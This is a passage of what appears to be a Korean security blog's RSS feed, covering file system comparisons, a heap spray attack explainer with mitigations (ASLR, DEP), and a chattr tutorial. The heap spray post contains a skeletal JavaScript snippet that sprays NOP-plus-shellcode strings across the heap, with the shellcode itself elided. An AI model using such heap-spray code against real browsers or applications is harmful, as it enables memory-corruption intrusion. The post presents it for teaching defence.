&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;이름&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;FAT32&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;단순하고 호환성 좋음. USB 등에 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;NTFS&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Windows 기본 시스템, 고급 기능 다수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;EXT4&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Linux에서 널리 사용됨. 성능 우수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;exFAT&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;FAT32 보다 큰 파일 지원. USB에 최적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;APFS&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;macOS용 최신 파일 시스템&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. FAT(File Allocation Table)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;종류
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FAT12 : 가장 초기 버전, 플로피 디스크용&lt;/li&gt;
&lt;li&gt;FAT16 : DOS 시절부터 널리 사용됨&lt;/li&gt;
&lt;li&gt;FAT32 : Windows 95 OSR2 이후 등장, 현재는 USB &amp;nbsp;메모리나 SD 카드에서 많이 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;구조
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 할당 테이블(FAT) : 클러스터 단위로 파일의 위치를 추적하는 테이블&lt;/li&gt;
&lt;li&gt;디렉터리 엔트리 : 파일 이름, 크기, 속성, 시작 클러스터 등의 정보를 저장&lt;/li&gt;
&lt;li&gt;데이터 영역 : 실제 파일의 데이터가 저장되는 곳&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;특징
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;호환성 : 대부분의 운영체제에서 지원(Windows, Linux macOS)&lt;/li&gt;
&lt;li&gt;파일 크기 제한 : FAT32는 단일 팡리 최대 4GB, 파티션 최대 2TB&lt;/li&gt;
&lt;li&gt;보안/저널링 없음 : 권한 설정, 파일 복구 기능이 없음&lt;/li&gt;
&lt;li&gt;속도 : 단순한 구조로 속도는 빠르지만 클러스터 낭비가 많음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;사용 예시
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;USB 플래시 드라이브&lt;/li&gt;
&lt;li&gt;디지털 카메라, 게임 콘솔 저장장치&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. NTFS(New Technology File System)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;도입
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Microsoft가 Windows NT 계열에서 도입(현재 Windows의 기본 파일 시스템)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;구조
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Master file Table(MFT) : 모든 파일과 디렉터리의 메타데이터를 관리&lt;/li&gt;
&lt;li&gt;저널링 : 파일 시스템 변경사항을 기록하여 손상 시 복구 용이&lt;/li&gt;
&lt;li&gt;보안 : 파일 수준의 액세스 제어 목록(ACL)을 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;특징&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 크기 제한 없음(이론 상 16EB, 실질적으로 수 TB)&lt;/li&gt;
&lt;li&gt;압축 및 암호화 기능 지원&lt;/li&gt;
&lt;li&gt;디스크 쿼터, 하드링크 트랜잭션 등 고급기능&lt;/li&gt;
&lt;li&gt;조각모음 필요성이 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;사용예시
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Windows 설치 디스크&lt;/li&gt;
&lt;li&gt;서버 환경에서의 데이터 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. EXT(Extended File System)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;버전
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ext(초기버전) : Linux 최초의 파일 시스템, 현재는 사용되지 않음&lt;/li&gt;
&lt;li&gt;ext2 : 저널링 없음. 하지만 안정적이고 가볍다&lt;/li&gt;
&lt;li&gt;ext3 : ext2에 저널링 기능을 추가&lt;/li&gt;
&lt;li&gt;ext4 : 현재 리눅스에서 가장 널리 사용됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;구조
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Inode 기반 구조 : 각 파일은 inode를 통해 메타데이터를 관리&lt;/li&gt;
&lt;li&gt;블록 그룹 : 데이터를 효율적으로 분산 저장&lt;/li&gt;
&lt;li&gt;저널링(ext3, ext4) : &amp;nbsp;변경사항을 기록하여 복구 시간 단축&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ext4 의 특징
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최대 파일 크기 16TB&lt;/li&gt;
&lt;li&gt;파일 시스템 크기 : 최대 1EB&lt;/li&gt;
&lt;li&gt;저널링 + 지연할당 : 성능 향상&lt;/li&gt;
&lt;li&gt;Backward compatibility : ext3, ext2와 호환&lt;/li&gt;
&lt;li&gt;Extent 지원 : 연속된 블록 &amp;nbsp;할당으로 큰 파일 처리 효율 향상&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;사용 예시
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Linux OS 디스크&lt;/li&gt;
&lt;li&gt;웹서버, 데이터 센터의 파일 저장소&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. APFS(Apple File System)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개요
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발 : 애플, 2017년 macOS High Sierra부터 기본 파일 시스템&lt;/li&gt;
&lt;li&gt;대상 : &amp;nbsp;macOS, iOS, iPadOS, watchOS, tvOS&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;구조 및 특징
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;64bit 인덱싱 : 대용량 저장장치 대응&lt;/li&gt;
&lt;li&gt;스냅샷 : ㅈ상태 저장 및 복구 용이&lt;/li&gt;
&lt;li&gt;저널링 대신 CoW(Copy on wirte) 구조 사용&lt;/li&gt;
&lt;li&gt;공간 공유(Space sharing) : 하나의 볼륨이 여러 컨테이너에서 저장 공간 공유 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;장점
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 복사 시 빠름 : 실제 데이터 복사 대신 메타데이터만 변경&lt;/li&gt;
&lt;li&gt;암호화 내장 : 기본적으로 뎇이터 암호화 지원(파일별 또는 전체 디스크)&lt;/li&gt;
&lt;li&gt;SSD 최적화&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;한계
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;타 OS에서 지원 부족 : Windows, Linux에서 공식 지원 없음&lt;/li&gt;
&lt;li&gt;구 버전 &amp;nbsp;macOS 및 외부 기기와 호환성 낮음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;특징&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;FAT32&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;NTFS&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;EXT4&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;APFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;최대 파일 크기&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;4GB&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;수 페타바이트&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;16TB&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;수 페타바이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;최대 파티션 크기&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;2TB(실제 32GB 권장)&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;수 페타바이트&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;1EB(이론상)&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;수 페타바이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;저널링&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;O(CoW 기반)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;암호화&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;SSD 최적화&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;부분적&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;제한적&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;호환성&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;매우 높음&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Windows wndtla&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Linux 중심&lt;/td&gt;
&lt;td style=&quot;width: 20%;&quot;&gt;Apple 생태계 중심&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
      <category>정보보호</category>
      <category>apfs</category>
      <category>ext4</category>
      <category>FAT</category>
      <category>NTFS</category>
      <category>파일시스템</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/47</guid>
      <comments>https://defcon.tistory.com/47#entry47comment</comments>
      <pubDate>Wed, 28 May 2025 12:47:34 +0900</pubDate>
    </item>
    <item>
      <title>Heap Spray 공격의 개념과 방지방법(ASLR, DEP)</title>
      <link>https://defcon.tistory.com/46</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Heap spary 공격&lt;/b&gt;이란 악의적인 코드나 데이터를 메모리의 힙 영역에 대량으로 뿌려넣는 방식으로 취약점을 악용해 악성코드를 실행하도록 유도하는 공격 기법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 브라우저나 애플리케이션의 메모리 취약점, 특히 Use-After-Free, Buffer Overflow 또는 메모리 주소 제어와 관련된 취약점을 악용할 때 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Heap : 프로그램이 실행 중에 동적으로 할당하는 메모리 공간. 일반적으로 malloc, new 같은 함수로 요청&lt;/li&gt;
&lt;li&gt;Spray &amp;nbsp;: 메모리 공간에 같은 데이터를 반복적으로 퍼붓는 행위&lt;/li&gt;
&lt;li&gt;목적 : 특정 위치에 악성 코드를 배치하여, 취약점 트리 시 해당코드가 실행되도록 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격단계별 설명&lt;/b&gt;&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 공격 벡터 실행&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자는 일반적으로 웹 브라우저, PDF 뷰어, Flash, 또는 취약한 애플리케이션을 통해 공격 코드를 전달함. 자바스크립트같은 고수준 언어를 사용하여 힙에 데이터를 뿌림&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 악성 페이로드 준비&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자는 Shellcode 또는 ROP(Ret2LibC 등) 체인을 포함한 악성코드를 작성하고 이를 메모리 여러 위치에 배치함. 이때, NOP 슬레드(NOP Sled)를 포함해 예측 가능성을 높임&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. Heap Spray&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;동일한 데이터(예: Shell Code + NOP + Padding)를 대량으로 할당하여 힙의 여러 영역에 분산시킴. 이를 통해 프로그램 흐름이 어느 주소로 튀더라도 악성코드가 실행될 확률을 높임&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4. 취약점 트리거&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Use-After-Free, Buffer Overflow 등의 취약점을 유발하여 프로그램의 흐름이 공격자가 뿌린 힙 영역(악성코드가 위치한 주소)로 이동하도록 함&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;5. 악성코드 실행&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;흐름이 옮겨진 후 NOP 슬레드를 통해 Shell Code에 도달하고, 이 Shell code 가 실행되면 시스템이 손상되거나 악성행위가 실행됨(ex. Reverse Shell , Backdoor)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Javascript를 사용한 Heap Spray 예시&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1748173759051&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;var shellcode = unescape(&quot;%u9090%u9090...%uc931&quot;); // NOP + Shellcode
var block = shellcode;

while (block.length &amp;lt; 0x10000) block += block; // 큰 블록 생성

var memory = [];
for (var i = 0; i &amp;lt; 500; i++) {
    memory[i] = block.substring(0, block.length); // 메모리에 대량 배치
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Heap spray 방어 방법&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;방법&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;ASLR(Address Space Layout Randomization)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;메모리 주소를 매실행마다 무작위로 할당해 예측을 어렵게 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;DEP(Data Execution Prevention)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;데이터 영역(힙, 스택 등) 의 코드실행을 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;최신 브라우저/소프트웨어 사용&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;힙 스프레이 방지 기법이 포함된 최신 보안 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;정적/동적 분석 도구&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Heap Spray와 같은 공격을탐지하는 보안 솔루션 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>ASLR</category>
      <category>DEP</category>
      <category>heap spray</category>
      <category>NOP</category>
      <category>힙스프레이</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/46</guid>
      <comments>https://defcon.tistory.com/46#entry46comment</comments>
      <pubDate>Tue, 27 May 2025 10:52:51 +0900</pubDate>
    </item>
    <item>
      <title>리눅스 파일 속성 설정 명령어 chattr</title>
      <link>https://defcon.tistory.com/44</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;chattr(change attribute)는 리눅스에서 파일 또는 디렉터리에 특수속성을 설정하거나 해제하는데 사용하는 명령어입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 속성은 일반적인 권한 시스템보다 더 세밀하게 파일의 동작을 제어할 수 있게 해주며, 주로 ext2, ext3, ext4 파일 시스템에서 사용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기본 사용법&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748052873890&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chattr [옵션] [+/-/=속성] 파일명&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시:&lt;/p&gt;
&lt;pre id=&quot;code_1748052889616&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chattr +i important.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;chattr 주요 속성 목록&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;속성&lt;/td&gt;
&lt;td style=&quot;width: 86.511628%;&quot;&gt;의미&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;a&lt;/td&gt;
&lt;td style=&quot;width: 86.511628%;&quot;&gt;Append Only(추가만 허용) - 기존 내용 수정 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;i&lt;/td&gt;
&lt;td style=&quot;width: 86.511628%;&quot;&gt;Immutable(변경 불가) - 삭제, 이름변경, 내용 변경 모두 금지&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;d&lt;/td&gt;
&lt;td style=&quot;width: 86.511628%;&quot;&gt;Dump 무시 - 백업 시 dump 명령이 무시됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;u&lt;/td&gt;
&lt;td style=&quot;width: 86.511628%;&quot;&gt;Undeletable(복구 가능 삭제) - 삭제 후 복구 가능(일부 시스템에서만 지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;s&lt;/td&gt;
&lt;td style=&quot;width: 86.511628%;&quot;&gt;Secure deletion - 삭제 시 디스크 블록을 0으로 덮어씀&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;e&lt;/td&gt;
&lt;td style=&quot;width: 86.511628%;&quot;&gt;Extends - ext4에서 extent 기반 저장 구조 사용 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;c&lt;/td&gt;
&lt;td style=&quot;width: 86.511628%;&quot;&gt;&amp;nbsp;Comppressed - 파일 자동 압축 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13.488372%;&quot;&gt;j&lt;/td&gt;
&lt;td style=&quot;width: 86.511628%;&quot;&gt;Journaled - ext3에서 데이터 journaling 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+/-/= 사용법&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;+ : 속성 추가&lt;/li&gt;
&lt;li&gt;- : 속성 제거&lt;/li&gt;
&lt;li&gt;= : 해당 속성만 설정하고 나머지는 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시&lt;/p&gt;
&lt;pre id=&quot;code_1748053133222&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chattr +a mylogfile		# 추가만 허용
chattr -i config.yaml	# 변경 불가 속성 해제
chattr =a file.txt		# append 속성만 설정하고 나머지는 모두 제거&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;현재 속성 확인 - lsattr&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1748053157365&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;lsattr [옵션] 파일명&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시:&lt;/p&gt;
&lt;pre id=&quot;code_1748053170862&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;lsattr important.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력 예시&lt;/p&gt;
&lt;pre id=&quot;code_1748053186463&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;----i--------e-- important.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+i 속성의 효과&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1748053199469&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chattr +i file.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;i 속성이 설정된 경우&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 삭제 불가&lt;/li&gt;
&lt;li&gt;내용 수정 불가&lt;/li&gt;
&lt;li&gt;이름 변경 불가&lt;/li&gt;
&lt;li&gt;심지어 root도 직접 변경 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;속성 제거&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748053245393&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chattr -i file.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;주의사항&lt;/b&gt;&lt;/h3&gt;
